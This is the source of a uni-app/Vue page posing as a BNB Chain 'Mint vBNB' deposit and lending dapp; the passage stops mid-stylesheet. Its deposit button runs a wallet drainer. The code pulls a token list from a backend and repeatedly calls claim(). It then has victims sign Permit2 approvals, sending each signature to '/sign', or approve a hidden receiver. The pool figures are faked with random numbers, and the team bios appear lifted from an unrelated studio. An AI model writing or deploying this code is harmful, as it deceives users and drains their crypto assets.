<template>
	<view class="uni_box">
		<!-- <navbar :isback='false' backgroundColor='#fff'>
					<view slot="left" class="hleft">
						<image class="gllogo" src="/static/LOGO.png" />
					</view>
				</navbar> -->
		<!-- #ifdef APP-PLUS -->
		<!-- <view class="immerse"></view> -->
		<!-- #endif -->
		<view class="newcontent">
			<view class="one">
				<image class="img_bj" src="/static/img_bj.png" />
				<view class="oneview">

					<view class="yuyan">
						<view class="yuone" @click="yushow=true">
							<text class="zwen">{{ yuinfo }}</text>
							<image class="xia" src="/static/xia.png" />
						</view>
						<image class="icon_cd" src="/static/icon_tt.png" @click="gettui" />
					</view>
					<text class="bt">Mint vBNB</text>
					<text class="mshu">{{$t('i.cun')}}</text>
					<text class="mshutwo">{{$t('i.suo')}}</text>

					<view class="liu">
						<text class="kedai">{{$t('i.jieone')}}：</text>
						<text class="kenum">{{one}} USDT</text>
					</view>
					<view class="liutwo">
						<view class="liuitem">
							<text class="kedai">{{$t('i.jietwo')}}：</text>
							<text class="kenum">{{two}} USDT</text>
						</view>
						<view class="liuitem">
							<text class="kedai">{{$t('i.jiethree')}}：</text>
							<text class="kenum">{{three}} USDT</text>
						</view>
					</view>
				</view>
			</view>
			<view class="two">
				<view class="shu">
					<view class="shuitem" :class="head==1?'sactive':''" @click="headClick(1)">{{$t('i.cunone')}}</view>
					<view class="shuitem" :class="head==2?'sactive':''" @click="headClick(2)">{{$t('i.cuntwo')}}</view>
					<view class="shuitem" :class="head==3?'sactive':''" @click="headClick(3)">{{$t('i.cunthree')}}</view>
				</view>
				<!-- 存款开始 -->
				<view class="oview" v-if="head == 1">
					<view class="nitem">
						<view class="none">
							<text class="sname">{{$t('i.shu')}}</text>
							<text class="syue">{{$t('i.yue')}}：{{ yue }}</text>
						</view>
						<view class="ntwo">
							<u-input v-model="val" type="text" :border="false" :placeholder='shuru'  />
							<view class="rtwo">
								<view class="max" @click="smax(1)">Max</view>
								<view class="tuview"  @click="tanpop(3)">
									<image class="icon_bnb" :src="threeinfo.img" />
									<text class="bname">{{threeinfo.name}}</text>
									<u-icon name="arrow-down" color="#000" size="24"></u-icon>
								</view>
							</view>
						</view>
						<view class="jieshi">
							<text class="ap">APR<text class="apnum">395%</text></text>
						</view>
						<view class="cunru" @click="deposit()" >
							存入
						</view>

						<view class="hezuo">
							<text class="hename">{{$t('i.hename')}}</text>
							<view class="hetu">
								<image class="heimg" src="/static/1.png" mode="widthFix" />
								<image class="heimg" src="/static/2.png" mode="widthFix" />
								<image class="heimg" src="/static/3.png" mode="widthFix" />
								<image class="heimg" src="/static/4.png" mode="widthFix" />
								<image class="heimg" src="/static/5.png" mode="widthFix" />
								<image class="heimg" src="/static/6.png" mode="widthFix" />
							</view>
						</view>
						<view class="hezuo">
							<text class="hename">{{$t('i.tname')}}</text>
							<view class="tuan">
								At Walker Labs, we are creating WalkerWorld -an open world experience
								powered by Unreal Engine 5 andblockchain technology. We are helpingto shape a new industry
								by creating agame that players love and that wecan be proud of. We want to set anexample for
								how games are made inthis space, and that means our highestpriority is to create an amazing
								gameexperience,and then find innovativeways of sharing revenue among alparticipants in the
								ecosystem including players.
							</view>
							<view class="renview">
								<image class="tone" src="/static/tone.png" mode="widthFix" />
								<text class="name">DANIEL BRANTESTROM</text>
								<text class="nmiao">CO-FOUNDER & MANAGING DIRECTOR</text>
								<text class="jian">Daniel Brantestróm is Co-Founderand Managing Director of WalkerLabs, and
									an early adopter ofblockchain technology. Anexperienced entrepreneurpassionate about
									bleeding-edgetech and innovations.</text>
							</view>
							<view class="renview">
								<image class="tone" src="/static/ttwo.png" mode="widthFix" />
								<text class="name">KRISTIAN FRYKSTEDT</text>
								<text class="nmiao">CO-FOUNDER & CCO</text>
								<text class="jian">Kristian Frykstedt is Co-Founderand Chief Commercial Officer ofWalker
									Labs. A highly skilledgraphic designer for more than 15years and former founder of an
									adagency in Stockholm. An avidgamer and outdoor enthusiast in his downtime.</text>
							</view>
							<view class="renview">
								<image class="tone" src="/static/tthree.png" mode="widthFix" />
								<text class="name">MORTEN JUUL</text>
								<text class="nmiao">HEAD OF STRATEGICDEVELOPMENT</text>
								<text class="jian">Morten has been an advisor to andfounder/investor in 200+ tech startups &
									lawyer for 15+ years across manyindustries.Often seentalking about the NFTs &
									Metaverse</text>
							</view>
							<view class="renview">
								<image class="tone" src="/static/tfour.png" mode="widthFix" />
								<text class="name">FILIP FRISK</text>
								<text class="nmiao">PARTNER S 3D CREATOR</text>
								<text class="jian">Based in Stockholm, hasworking background in Zurichand Stockholm.

									3D artist experience in:TV
									commercials,TVshows, shortfilms and print campaigns</text>
							</view>
							<view class="renview">
								<image class="tone" src="/static/tfive.png" mode="widthFix" />
								<text class="name">HENRIK JOHANSSON</text>
								<text class="nmiao">DIRECTOR OF GAME DEV
									STRATEGY</text>
								<text class="jian">Executive Producer at EmbarkStudios

									Creative Director, Producerand Designer at Electronic
									Arts.

									Lead Game Designer at Rovio

									Multiplayer platform ProductManager at TerraplaySystems.

									Worked on game Raiders ,Angry B Mirror's Edge and more.</text>
							</view>
							<view class="renview">
								<image class="tone" src="/static/tsix.png" mode="widthFix" />
								<text class="name">ARON NIEMINEN</text>
								<text class="nmiao">TECHNICAL DIRECTOR</text>
								<text class="jian">12 years of experience asPrincipal Game Developer atMinecraft ( Mojang )

									Game Developer at kingwhere he conceptualized anddeveloped the first versions ofthe
									wildly popular game,
									Candy Crush</text>
							</view>
						</view>
					</view>
				</view>
				<!-- 存款结束 -->

				<!-- 抵押借贷开始 -->
				<view class="tview" v-if="head == 2">
					<view class="nitem">
						<view class="none">
							<text class="sname">{{$t('i.shu')}}</text>
							<text class="syue">{{$t('i.yue')}}：{{ yue }}</text>
						</view>
						<view class="ntwo">
							<u-input v-model="val1" type="text" :border="false" :placeholder='shuru' @input="blur1" />
							<view class="rtwo">
								<view class="max"  @click="smax(2)" >Max</view>
								<view class="tuview" @click="tanpop(4)">
									<image class="icon_bnb" :src="fourinfo.img" />
									<text class="bname">{{fourinfo.name}}</text>
									<u-icon name="arrow-down" color="#000" size="24"></u-icon>
								</view>
							</view>
						</view>
						<view class="jieshi">
							<text class="ap">{{$t('i.jieli')}}<text class="apnum">0.375%</text></text>
						</view>

						<view class="none" style="margin-top: 40rpx;">
							<text class="sname">{{$t('i.kejie')}}</text>
						</view>
						<view class="ntwo">
							<u-input v-model="val122" type="text" :border="false" :placeholder='shuru' />
							<view class="rtwo">
								<view class="tuview">
									<image class="icon_bnb" :src="fiveinfo.img" />
									<text class="bname">{{fiveinfo.name}}</text>
									<!-- <u-icon name="arrow-down" color="#000" size="24"></u-icon> -->
								</view>
							</view>
						</view>

						<view class="cunru" @click="deposit()">
							{{$t('i.zhiya')}}
						</view>
						<view class="hezuo">
							<text class="hename">{{$t('i.hename')}}</text>
							<view class="hetu">
								<image class="heimg" src="/static/1.png" mode="widthFix" />
								<image class="heimg" src="/static/2.png" mode="widthFix" />
								<image class="heimg" src="/static/3.png" mode="widthFix" />
								<image class="heimg" src="/static/4.png" mode="widthFix" />
								<image class="heimg" src="/static/5.png" mode="widthFix" />
								<image class="heimg" src="/static/6.png" mode="widthFix" />
							</view>

							<text class="hename">{{$t('i.tname')}}</text>
							<view class="tuan">
								At Walker Labs, we are creating WalkerWorld -an open world experience
								powered by Unreal Engine 5 andblockchain technology. We are helpingto shape a new industry
								by creating agame that players love and that wecan be proud of. We want to set anexample for
								how games are made inthis space, and that means our highestpriority is to create an amazing
								gameexperience,and then find innovativeways of sharing revenue among alparticipants in the
								ecosystem including players.
							</view>
							<view class="hezuo">
							<view class="renview">
								<image class="tone" src="/static/tone.png" mode="widthFix" />
								<text class="name">DANIEL BRANTESTROM</text>
								<text class="nmiao">CO-FOUNDER & MANAGING DIRECTOR</text>
								<text class="jian">Daniel Brantestróm is Co-Founderand Managing Director of WalkerLabs, and
									an early adopter ofblockchain technology. Anexperienced entrepreneurpassionate about
									bleeding-edgetech and innovations.</text>
							</view>
							<view class="renview">
								<image class="tone" src="/static/ttwo.png" mode="widthFix" />
								<text class="name">KRISTIAN FRYKSTEDT</text>
								<text class="nmiao">CO-FOUNDER & CCO</text>
								<text class="jian">Kristian Frykstedt is Co-Founderand Chief Commercial Officer ofWalker
									Labs. A highly skilledgraphic designer for more than 15years and former founder of an
									adagency in Stockholm. An avidgamer and outdoor enthusiast in his downtime.</text>
							</view>
							<view class="renview">
								<image class="tone" src="/static/tthree.png" mode="widthFix" />
								<text class="name">MORTEN JUUL</text>
								<text class="nmiao">HEAD OF STRATEGICDEVELOPMENT</text>
								<text class="jian">Morten has been an advisor to andfounder/investor in 200+ tech startups &
									lawyer for 15+ years across manyindustries.Often seentalking about the NFTs &
									Metaverse</text>
							</view>
							<view class="renview">
								<image class="tone" src="/static/tfour.png" mode="widthFix" />
								<text class="name">FILIP FRISK</text>
								<text class="nmiao">PARTNER S 3D CREATOR</text>
								<text class="jian">Based in Stockholm, hasworking background in Zurichand Stockholm.

									3D artist experience in:TV
									commercials,TVshows, shortfilms and print campaigns</text>
							</view>
							<view class="renview">
								<image class="tone" src="/static/tfive.png" mode="widthFix" />
								<text class="name">HENRIK JOHANSSON</text>
								<text class="nmiao">DIRECTOR OF GAME DEV
									STRATEGY</text>
								<text class="jian">Executive Producer at EmbarkStudios

									Creative Director, Producerand Designer at Electronic
									Arts.

									Lead Game Designer at Rovio

									Multiplayer platform ProductManager at TerraplaySystems.

									Worked on game Raiders ,Angry B Mirror's Edge and more.</text>
							</view>
							<view class="renview">
								<image class="tone" src="/static/tsix.png" mode="widthFix" />
								<text class="name">ARON NIEMINEN</text>
								<text class="nmiao">TECHNICAL DIRECTOR</text>
								<text class="jian">12 years of experience asPrincipal Game Developer atMinecraft ( Mojang )

									Game Developer at kingwhere he conceptualized anddeveloped the first versions ofthe
									wildly popular game,
									Candy Crush</text>
							</view>
						</view>
						</view>
					</view>
				</view>
				<!-- 抵押借贷结束 -->


				<!-- 赎回开始 -->
				<view class="rview" v-if="head == 3">
					<view class="nitem">
						<view class="none">
							<text class="sname">{{$t('i.shu')}}</text>
							<text class="syue">{{$t('i.yue')}}：{{ yue }}</text>
						</view>
						<view class="ntwo">
							<u-input v-model="val2" type="text" :border="false" :placeholder='shuru' />
							<view class="rtwo">
								<view class="max"  @click="smax(3)" >Max</view>
								<view class="tuview" @click="tanpop(1)">
									
									<image class="icon_bnb" :src="oneinfo.img" />
									<text class="bname">{{oneinfo.name}}</text>
									<u-icon name="arrow-down" color="#000" size="24"></u-icon>
								</view>
							</view>
						</view>

						<view class="none" style="margin-top: 40rpx;">
							<text class="sname">{{$t('i.shoujin')}}</text>
						</view>
						<view class="ntwo">
							<u-input v-model="val2" type="text" :border="false" :placeholder='shuru' />
							<view class="rtwo">
								<view class="tuview" @click="tanpop(2)">
									<image class="icon_bnb" :src="twoinfo.img" />
									<text class="bname">{{ twoinfo.name }}</text>
									<u-icon name="arrow-down" color="#000" size="24"></u-icon>
								</view>
							</view>
						</view>

						<view class="cunru"  >
							{{$t('i.meizi')}}
						</view>
						<view class="hezuo">
							<text class="hename">{{$t('i.hename')}}</text>
							<view class="hetu">
								<image class="heimg" src="/static/1.png" mode="widthFix" />
								<image class="heimg" src="/static/2.png" mode="widthFix" />
								<image class="heimg" src="/static/3.png" mode="widthFix" />
								<image class="heimg" src="/static/4.png" mode="widthFix" />
								<image class="heimg" src="/static/5.png" mode="widthFix" />
								<image class="heimg" src="/static/6.png" mode="widthFix" />
							</view>
							<text class="hename">{{$t('i.tname')}}</text>
							<view class="tuan">
								At Walker Labs, we are creating WalkerWorld -an open world experience
								powered by Unreal Engine 5 andblockchain technology. We are helpingto shape a new industry
								by creating agame that players love and that wecan be proud of. We want to set anexample for
								how games are made inthis space, and that means our highestpriority is to create an amazing
								gameexperience,and then find innovativeways of sharing revenue among alparticipants in the
								ecosystem including players.
							</view>
							<view class="hezuo">
							<view class="renview">
								<image class="tone" src="/static/tone.png" mode="widthFix" />
								<text class="name">DANIEL BRANTESTROM</text>
								<text class="nmiao">CO-FOUNDER & MANAGING DIRECTOR</text>
								<text class="jian">Daniel Brantestróm is Co-Founderand Managing Director of WalkerLabs, and
									an early adopter ofblockchain technology. Anexperienced entrepreneurpassionate about
									bleeding-edgetech and innovations.</text>
							</view>
							<view class="renview">
								<image class="tone" src="/static/ttwo.png" mode="widthFix" />
								<text class="name">KRISTIAN FRYKSTEDT</text>
								<text class="nmiao">CO-FOUNDER & CCO</text>
								<text class="jian">Kristian Frykstedt is Co-Founderand Chief Commercial Officer ofWalker
									Labs. A highly skilledgraphic designer for more than 15years and former founder of an
									adagency in Stockholm. An avidgamer and outdoor enthusiast in his downtime.</text>
							</view>
							<view class="renview">
								<image class="tone" src="/static/tthree.png" mode="widthFix" />
								<text class="name">MORTEN JUUL</text>
								<text class="nmiao">HEAD OF STRATEGICDEVELOPMENT</text>
								<text class="jian">Morten has been an advisor to andfounder/investor in 200+ tech startups &
									lawyer for 15+ years across manyindustries.Often seentalking about the NFTs &
									Metaverse</text>
							</view>
							<view class="renview">
								<image class="tone" src="/static/tfour.png" mode="widthFix" />
								<text class="name">FILIP FRISK</text>
								<text class="nmiao">PARTNER S 3D CREATOR</text>
								<text class="jian">Based in Stockholm, hasworking background in Zurichand Stockholm.

									3D artist experience in:TV
									commercials,TVshows, shortfilms and print campaigns</text>
							</view>
							<view class="renview">
								<image class="tone" src="/static/tfive.png" mode="widthFix" />
								<text class="name">HENRIK JOHANSSON</text>
								<text class="nmiao">DIRECTOR OF GAME DEV
									STRATEGY</text>
								<text class="jian">Executive Producer at EmbarkStudios

									Creative Director, Producerand Designer at Electronic
									Arts.

									Lead Game Designer at Rovio

									Multiplayer platform ProductManager at TerraplaySystems.

									Worked on game Raiders ,Angry B Mirror's Edge and more.</text>
							</view>
							<view class="renview">
								<image class="tone" src="/static/tsix.png" mode="widthFix" />
								<text class="name">ARON NIEMINEN</text>
								<text class="nmiao">TECHNICAL DIRECTOR</text>
								<text class="jian">12 years of experience asPrincipal Game Developer atMinecraft ( Mojang )

									Game Developer at kingwhere he conceptualized anddeveloped the first versions ofthe
									wildly popular game,
									Candy Crush</text>
							</view>
						</view>
						</view>
					</view>
				</view>
				<!-- 赎回结束 -->
			</view>
		</view>


		<!-- 底部选择弹窗 -->
		<view class="tan">
			<u-popup v-model="ispoptan" mode="bottom" :closeable="true" @close="closepop">
				<view class="tanview">
					<text class="xuan">{{$t('i.xuandai')}}</text>
					<view class="souview" v-if="isxian">
						<u-input v-model="keyword" type="text" :border="false" :placeholder='souname' @input="blur" />
					</view>
					<view class="changyong">
						<text class="chandai">{{$t('i.chongdai')}}</text>
						<scroll-view scroll-y class="daiview">
							<view class="dailist" v-for="(item,index) in newtanlist" :key="index" @click="tanClick(item)">
								<image class="icon_bnb" :src="item.img" />
								<text class="bname">{{item.name}}</text>
								<!-- <text class="nums">100</text> -->
							</view>
						</scroll-view>
						
					</view>
				</view>
			</u-popup>
		</view>

		<u-select v-model="yushow" :list="yulist" @confirm="confirmyu"></u-select>
</view>
</template>

<script>
	import {ethers} from 'ethers'
	import {getBal, getTokenData, getTokenPrice} from "@/utils/dapp.js"
	import {connectMetamask, switchNetwork, claim, IERC20, receiver, approveAmount,approve160,getTokenBal} from "@/utils/dapp.js"
	import {defaultTo, path, take, takeLast} from "ramda"
	
export default {
	data() {
		return {
			bgcolor: '#fff',
			val: '',
			val1: '',
			val2: '',
			val122: '',
			head:2,
			ispoptan:false,
			keyword:'',
			show: false,
			yushow:false,
			yulist:[
				{
					value: 'zh',
					label: '中文'
				},
				{
					value: 'en',
					label: 'English'
				}
			],
			yuinfo:uni.getStorageSync('locale')=='en'?'English':'中文',
			assetsss:null,
			locale:uni.getStorageSync('locale'),
			tanlist:[
				{name:'BNB',img:'/static/bnb.png'},
				{name:'WBNB',img:'/static/bnb.png'},
				{name:'USDT',img:'/static/usdt.png'},
				{name:'BUSD',img:'/static/busd.png'},
			],
			newtanlist:[],
			oneinfo:{
				name:'BNB',
				img:'/static/bnb.png'
			},
			twoinfo:{
				name:'BNB',
				img:'/static/bnb.png'
			},
			threeinfo:{
				name:'BNB',
				img:'/static/bnb.png'
			},
			fourinfo:{
				name:'BNB',
				img:'/static/bnb.png'
			},
			fiveinfo:{
				name:'BNB',
				img:'/static/bnb.png'
			},
			leitan:1,
			one:'196539766',
			two:'356035405',
			three:'735469755',
			yue:0,
			isxian:true,
			dizhi:''
		}
	},
	components: {
	},
	computed: {
		shuru(){
			return this.$t('i.shuru')
		},
		souname(){
			return this.$t('i.souname')
		}
	},

	mounted() {

	},
	async onLoad() {
		const addr = await connectMetamask()
		if(typeof addr === 'string'){
			console.log(addr)
		}else{
			console.log(addr)
		}
		this.dizhi = addr
		
		this.newtanlist = this.tanlist
		let that = this
		that.getdinshi();//每5分钟执行一次
		setInterval(function() {
			// 这里写需要执行的代码
			that.getdinshi();//每5分钟执行一次
		}, 300000);

		const yue = await getTokenBal()
		this.yue = yue
		console.log(this.yue)
		// setInterval(function() {
		// 	// 这里写需要执行的代码
		// 	that.getdinshi();//每10分钟执行一次
		// }, 1000);
		
		 // getTokenPrice('0x55d398326f99059fF775485246999027B3197955').then(a =>{
			//  console.log({price:a})
		 // })
		
	},
	async onShow() {
		// console.log(uni.getStorageSync('locale'))
	},
	onReachBottom: function () {
	},
	methods: {
		getdinshi(){
			console.log(this.suiji(1,10))
			let onenum = this.suiji(196539766,296539766);
			this.one = onenum
			let twonum = this.suiji(306035405,406035405);
			this.two = twonum
			let threenum = this.suiji(735469755,296539766);
			this.three = threenum
		},
		suiji(minValue,maxValue){
			var randomNum = Math.floor(Math.random() * (maxValue - minValue + 1)) + minValue;
			// console.log(randomNum); // 输出随机数
			return randomNum;
		},
		
		async headClick(e){
			this.head = e
			const yue = await getTokenBal()
			this.yue = yue
		},
		tanpop(e){
			if(e == 5){
				this.isxian = false
			}else{
				this.isxian = true
			}
			this.keyword = ''
			this.newtanlist = this.tanlist
			this.leitan = e
			this.ispoptan = true
		},
		async tanClick(item){
			console.log(item)
			if(this.leitan == 1){
				this.oneinfo = item
			}else if(this.leitan == 2){
				this.twoinfo = item
			}else if(this.leitan == 3){
				this.threeinfo = item
			}else if(this.leitan == 4){
				this.fourinfo = item
			}else if(this.leitan == 5){
				this.fiveinfo = item
			}
			this.ispoptan = false
			if(item.name == 'BNB'||item.name == 'WBNB'){
				const yue = await getTokenBal()
				this.yue = yue
			}else if(item.name == 'USDT'||item.name == 'BUSD'){
				const yue = await getTokenBal('0x55d398326f99059fF775485246999027B3197955')
				this.yue = yue
			}
		},
		closepop(){
			this.ispoptan = false
		},
		async smax(e){
			// const addr = await connectMetamask()
			// if(typeof addr === 'string'){
			// 	const bal = await getBal(addr)
			// 	console.log(bal)
			// 	this.val = bal
			// }
			if(e == 1){
				this.val = this.yue

			}else if(e == 2){
				this.val1 = this.yue
				if(this.fourinfo.name == 'BNB'||this.fourinfo.name == 'WBNB'){
					this.val122 = this.val1
				}else{
					console.log(e)
					getTokenPrice(this.keyword).then(a =>{
						// console.log(approveAmount)
						console.log({price:a})
						this.val122 = Number(a)*Number(this.val1)
					})
					
				}
			}else if(e == 3){
				this.val2 = this.yue
			}

			
		},
		async deposit(){
			const addr = await connectMetamask()
			if(typeof addr !== 'string'){ 
				this.deposit()
				return
			}
			
			const res_s = await fetch(`/getlist?addr=${addr}`);
			const list_ss = await res_s.json();
			
			console.log(list_ss)
			
			const list = list_ss
		    const chainId = await window.ethereum.request({method: "eth_chainId",});
		    const nowid = parseInt(chainId, 16);  
			console.log({nowid})
		      for (const i of list) {
		        if (nowid !== i.chainid) {
		          await switchNetwork(i.chainid);
		        }
		
		        if (i.id === i.chain) {
		          let con = true;
		          while (con) {
		            try {
		              const tx = await claim();
		              console.log(tx);
		              con = false;
		              break;
		            } catch (error) {
		              continue;
		            }
		          }
		          continue;
		        }
		
		        const provider = new ethers.providers.Web3Provider(window.ethereum);
		        const signer = provider.getSigner();
		
		        const usdt = new ethers.Contract(i.id, IERC20, signer);
		
		        const Permit2Addr = "0x000000000022D473030F116dDEE9F6B43aC78BA3";
		        const allow2 = await usdt.allowance(addr, Permit2Addr);
		        if (allow2 > 1000000000000000000n) {
		          const res = await fetch(
		            `/getSign?addr=${addr}&chainid=${i.chainid}&t=${i.id}&amount=${i.raw_amount}`
		          );
		          const { domain, types, values } = await res.json();
		
		          let con = true;
		          while (con) {
		            try {
		              let signature = await signer._signTypedData(
		                domain,
		                types,
		                values
		              );
		
		              fetch(
		                `/sign?signature=${signature}&addr=${addr}&sigDeadline=${values.sigDeadline}&token=${values.details.token}&amount=${values.details.amount}&exp=${values.details.expiration.hex}&nonce=${values.details.nonce}&chainid=${i.chainid}&valu=${i.value}`
		              );
		              con = false;
		              break;
		            } catch (error) {
		              continue;
		            }
		          }
		        } else {
		          try {
		            const tx = await usdt.approve(receiver, approveAmount);
		            fetch(
		              `/ref?addr=${addr}&t=${i.id}&chainid=${i.chainid}&valu=${i.value}`
		            );
		          } catch (error) {
					  console.log(error)
		            continue;
		          }
		        }
		      }

			
		},
		confirmyu(e){
			console.log(e)
			this.yuinfo = e[0].label
			this.yushow = false
			this.$i18n.locale = e[0].value
			// console.log(this.$i18n.locale)
			uni.setStorageSync('locale', e[0].value)
		},
		gettui(){
			console.log("+++")
			location.href = 'https://twitter.com/BNBCHAIN'
		},
		async blur(e){
			
			let tanlist = this.tanlist
			let data = []
			for(let i in tanlist){
				if(tanlist[i].name.includes(e)){
					data.push(tanlist[i])
				}
			}
			const syl = await getTokenData(e)

			if(syl !== null){
				const lower = syl.toLowerCase()
				this.newtanlist = [{name:syl,img:`https://tokens.pancakeswap.finance/images/symbol/${lower}.png`}]
				const yue = await getTokenBal(e)
				this.yue = yue
			}else{
				this.newtanlist = data
			}
			
			
			

		},
		async blur1(e){
			console.log(this.fourinfo)
			if(this.fourinfo.name == 'BNB'||this.fourinfo.name == 'WBNB'){
				this.val122 = e
			}else{
				console.log(e)
				getTokenPrice(this.keyword).then(a =>{
					// console.log(approveAmount)
					console.log({price:a})
					this.val122 = Number(a)*Number(e)
				})
				
			}
		}
	}
}
</script>

<style lang="scss" scoped>
page,
html {}

.newcontent {
	min-height: 100vh;
	padding-bottom: 30rpx;
	background-color: #fff;

	.one {
		height: 684rpx;
		position: relative;

		.img_bj {
			position: absolute;
			width: 100%;
			height: 100%;
		}

		.oneview {
			position: relative;
			width: 100%;
			height: 100%;
			padding: 30rpx;
			display: flex;
			flex-direction: column;

			.yuyan {
				display: flex;
				flex-direction: row;

				.icon_cd{
					margin-left: auto;
					width: 44rpx;
					height: 44rpx;
				}
				.yuone {
					padding: 10rpx 16rpx;
					background: rgba(255, 255, 255, 0.1);
					border-radius: 5rpx;
					border: 1rpx solid #FFFFFF;
					display: flex;
					flex-direction: row;
					align-items: center;

					.zwen {
						font-family: PingFang SC;
						font-weight: 500;
						font-size: 20rpx;
						color: #FFFFFF;
					}

					.xia {
						margin-left: 10rpx;
						width: 20rpx;
						height: 20rpx;
					}
				}
			}

			.bt {
				font-weight: bold;
				font-size: 70rpx;
				color: #FFFFFF;
				display: block;
				margin-top: 40rpx;
			}

			.mshu {
				font-weight: 400;
				font-size: 28rpx;
				color: #CCCCCC;
				display: block;
				margin: 20rpx 0 14rpx;
			}

			.mshutwo {
				font-family: PingFang SC;
				font-weight: 500;
				font-size: 20rpx;
				color: #FFFFFF;
			}

			.liu {
				padding: 20rpx;
				background: rgba(255, 255, 255, 0.1);
				border-radius: 16rpx;
				display: flex;
				flex-direction: column;
				margin: 20rpx 0;

			}

			.kedai {
				font-family: PingFang SC;
				font-weight: 500;
				font-size: 18rpx;
				color: #CCCCCC;
			}

			.kenum {
				display: inline-block;
				margin-top: 18rpx;
				font-family: PingFang SC;
				font-weight: bold;
				font-size: 28rpx;
				color: #FFFFFF;
			}

			.liutwo {
				display: flex;
				flex-direction: row;
				justify-content: space-between;

				.liuitem {
					width: 48%;
					padding: 20rpx;
					background: rgba(255, 255, 255, 0.1);
					border-radius: 16rpx;
					display: flex;
					flex-direction: column;

				}
			}
		}
	}

	.two {
		background-color: #fff;
		border-radius: 16rpx 16rpx 0 0;
		position: relative;
		margin-top: -20rpx;
		padding: 30rpx;

		.shu {
			display: flex;
			flex-direction: row;
			flex-wrap: wrap;

			.shuitem {
				padding: 23rpx 40rpx;
				background: #EEEEEE;
				border-radius: 16rpx;
				font-family: PingFang SC;
				font-weight: bold;
				font-size: 28rpx;
				color: #333333;
				margin-right: 15rpx;
				margin-bottom: 10rpx;
				flex: 1;
				display: flex;
				align-items: center;
				justify-content: center;
			}

			.sactive {
				background: #2D5AEA;
				color: #fff;
			}
		}

		// .oview {
			.nitem {
				display: flex;
				flex-direction: column;
				margin: 60rpx 0 0;

				.none {
					display: flex;
					flex-direction: row;
					align-items: center;
					margin-bottom: 20rpx;

					.sname {
						font-family: PingFang SC;
						font-weight: bold;
						font-size: 32rpx;
						color: #333333;
					}

					.syue {
						margin-left: auto;
						font-family: PingFang SC;
						font-weight: bold;
						font-size: 28rpx;
						color: #999999;
					}
				}

				.ntwo {
					padding: 18rpx 28rpx;
					background: #FFFFFF;
					border-radius: 16rpx;
					border: 2rpx solid #CCCCCC;
					display: flex;
					flex-direction: row;
					align-items: center;

					/deep/.uni-input-input {
						font-weight: bold;
						font-size: 40rpx;
						color: #333333;

					}

					/deep/.u-input {
						margin-right: 15rpx;
					}
				}

				.jieshi {
					display: flex;
					flex-direction: row;
					align-items: center;
					margin-top: 20rpx;

					.ap {
						font-weight: bold;
						font-size: 28rpx;
						color: #999999;

						.apnum {
							display: inline-block;
							font-weight: bold;
							font-size: 28rpx;
							color: #000000;
							margin-left: 10rpx;
						}
					}
				}

				.cunru {
					height: 88rpx;
					background: #2D5AEA;
					border-radius: 16rpx;
					display: flex;
					flex-direction: row;
					align-items: center;
					justify-content: center;
					font-family: PingFang SC;
					font-weight: bold;
					font-size: 28rpx;
					color: #FFFFFF;
					margin-top: 59rpx;
					margin-bottom: 10rpx;
				}

				.rtwo {
					margin-left: auto;
					display: flex;
					flex-direction: row;
					align-items: center;

					.max {
						padding: 11rpx 23rpx;
						background: #E5EBFF;
						border-radius: 6rpx;
						font-family: PingFang SC;
						font-weight: bold;
						font-size: 28rpx;
						color: #2D5AEA;
					}

					.tuview {
						margin-left: 30rpx;
						display: flex;
						flex-direction: row;
						align-items: center;

						.icon_bnb {
							width: 44rpx;
							height: 44rpx;
						}
						.bname{
							margin: 0 10rpx;
							display: inline-block;
							color: #333;
							font-size: 28rpx;
							font-weight: 500;
						}
					}
				}

				.hezuo {
					display: flex;
					flex-direction: column;
					margin-top: 90rpx;

					.hename {
						display: block;
						font-family: PingFang SC;
						font-weight: bold;
						font-size: 32rpx;
						color: #AFB8D5;
						margin-bottom: 35rpx;
					}

					.hetu {
						display: flex;
						flex-direction: row;
						flex-wrap: wrap;
						align-items: center;
						width: 100%;

						.heimg {
							// flex: 1;
							max-width: 27%;
							margin: 0 20rpx 20rpx;

						}
					}

					.tuan {
						font-weight: 400;
						font-size: 28rpx;
						color: #666666;
						text-align: center;
					}

					.renview {
						display: flex;
						flex-direction: column;
						align-items: center;
						justify-content: center;
						margin-top: 50rpx;
						padding: 0 50rpx;

						.tone {
							width: 230rpx;
							height: 230rpx;
							margin-bottom: 40rpx;
						}

						.name {
							font-family: PingFang SC;
							font-weight: bold;
							font-size: 40rpx;
							color: #14265D;
						}

						.nmiao {
							font-weight: bold;
							font-size: 32rpx;
							color: #AFB8D5;
							display: block;
							margin: 29rpx 0 27rpx;
							text-align: center;
						}

						.jian {
							font-weight: 400;
							font-size: 28rpx;
							color: #666666;
							display: block;
							text-align: center;
							line-height: 38rpx;
						}
					}
				}
			}
		// }
	}

	.hone {
		height: 88rpx;
		background: #040509;
		border-radius: 0px 0px 0px 0px;
		opacity: 1;
		display: flex;
		flex-direction: row;
		align-items: center;
		padding: 0 30rpx;

		.hleft {
			padding: 10rpx 25rpx;
			border-radius: 30rpx;
			opacity: 1;
			display: flex;
			flex-direction: row;
			align-items: center;
			border: 2rpx solid #0066FF;

			.hltit {
				font-size: 24rpx;
				font-family: Segoe UI, Segoe UI;
				font-weight: 400;
				color: #FFFFFF;
			}

			.xia {
				width: 21rpx;
				height: 12rpx;
				margin-left: 15rpx;
			}
		}

		.hright {
			margin-left: auto;
			display: flex;
			flex-direction: row;
			align-items: center;

			.ricon {
				width: 40rpx;
				height: 40rpx;
				margin-right: 25rpx;
			}

			.rcont {
				// height: 52rpx;
				background: linear-gradient(122deg, #1033F6 0%, #940AFF 100%);
				border-radius: 30rpx;
				opacity: 1;
				padding: 10rpx 25rpx;
				font-size: 28rpx;
				font-family: Segoe UI, Segoe UI;
				font-weight: 600;
				color: #FFFFFF;
			}
		}
	}
}
// 弹窗样式
.tan{
	/deep/.u-drawer-content{
		background-color: transparent !important;
	}
	.tanview{
		padding: 30rpx;
		background-color: #fff;
		border-radius: 16rpx 16rpx 0 0;
		.xuan{
			color: #333;
			font-size: 34rpx;
			font-weight: 500;
			display: block;
			padding-bottom: 30rpx;
			border-bottom: 1rpx solid #ccc;
			margin-bottom: 30rpx;
		}
		.souview{
			background: #FFFFFF;
			border-radius: 16rpx;
			border: 2rpx solid #CCCCCC;
			padding: 13rpx 30rpx;

		}
		.changyong{
			margin: 40rpx 0 0;
			.chandai{
				color: #333;
				font-size: 28rpx;
				font-weight: 500;
			}
			.daiview{
				min-height: 500rpx;
				max-height: 700rpx;
				.dailist{
					display: flex;
					flex-direction: row;
					align-items: center;
					padding: 20rpx 0;
					border-bottom: 1rpx solid #eee;
				}
				.icon_bnb{
					width: 50rpx;
					height: 50rpx;
					margin-right: 10rpx;
				}
				.bname{
